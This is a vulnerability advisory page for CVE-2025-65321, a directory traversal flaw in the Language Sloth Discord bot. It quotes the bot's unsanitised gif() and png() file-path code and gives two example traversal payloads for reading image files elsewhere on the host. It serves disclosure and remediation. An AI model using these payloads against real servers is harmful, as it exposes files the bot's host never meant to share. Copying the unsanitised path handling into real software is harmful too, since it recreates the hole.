Lucene search
K

📄 Language Sloth Directory Traversal

🗓️ 02 Dec 2025 00:00:00Reported by Ivan Oliveira, Rogerio Josef, Filipe OrtegaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 137 Views

Language Sloth Discord bot directory traversal in gif and png functions enables arbitrary file access.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-65321
2 Dec 202503:43
githubexploit
Circl
CVE-2025-65321
2 Dec 202509:00
circl
CVE
CVE-2025-65321
2 Dec 202509:00
cve
Packet Storm
📄 Discord Language Sloth Bot Directory Traversal Scanner / Payload Generator
4 Dec 202500:00
packetstorm
# CVE-2025-65321
    The Language Sloth Discord bot is vulnerable to Directory Traversal in the gif() and png() functions. The functions build file paths using unsanitized user input for the 'name' parameter, allowing attackers to reference files outside the intended resource directories.
    
    The functions "gif" and "png" under the file files.py are vulnerable to directory traversal as they use "open" to locally retrieve files from the server hosting the bot. The payloads below allow any user on discord to retrieve ".gif" and ".png" files hosted anywhere on the server that is hosting the bot.
    
    ```python
    async def gif(self, ctx, name: str = None):
            '''
            (ADM) Sends a gif from the bot's gif folder.
            :param name: The name of the gif file.
            '''
            await ctx.message.delete()
            try:
                with open(f'./gif/{name}.gif', 'rb') as pic:
                    await ctx.send(file=discord.File(pic))
            except FileNotFoundError:
                return await ctx.send("**File not found!**")
    ```
    
    ```python
    async def png(self, ctx, name: str = None):
            '''
            (ADM) Sends a png from the bot's png folder.
            :param name: The name of the png file.
            '''
            await ctx.message.delete()
            try:
                await ctx.send(file=discord.File(f'./png/{name}.png'))
            except FileNotFoundError:
                return await ctx.send("**File not found!**")
    ```
    
    The name parameter is directly interpolated into the file path without validation or sanitization:
    
    ```
    f'./gif/{name}.gif'
    f'./png/{name}.png'
    ```
    
    Example payloads:
    
    ```
    z!gif ..\..\..\..\Windows\filename
    ```
    
    ```
    z!png ..\..\..\..\Windows\filename
    ```
    
    <img width="592" height="547" alt="image" src="https://github.com/user-attachments/assets/632cbf1a-6274-4aab-b95d-5b9c5ad5bdfd" />
    
    The image above shows extraction of an image located at C:\Windows\cat.gif

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation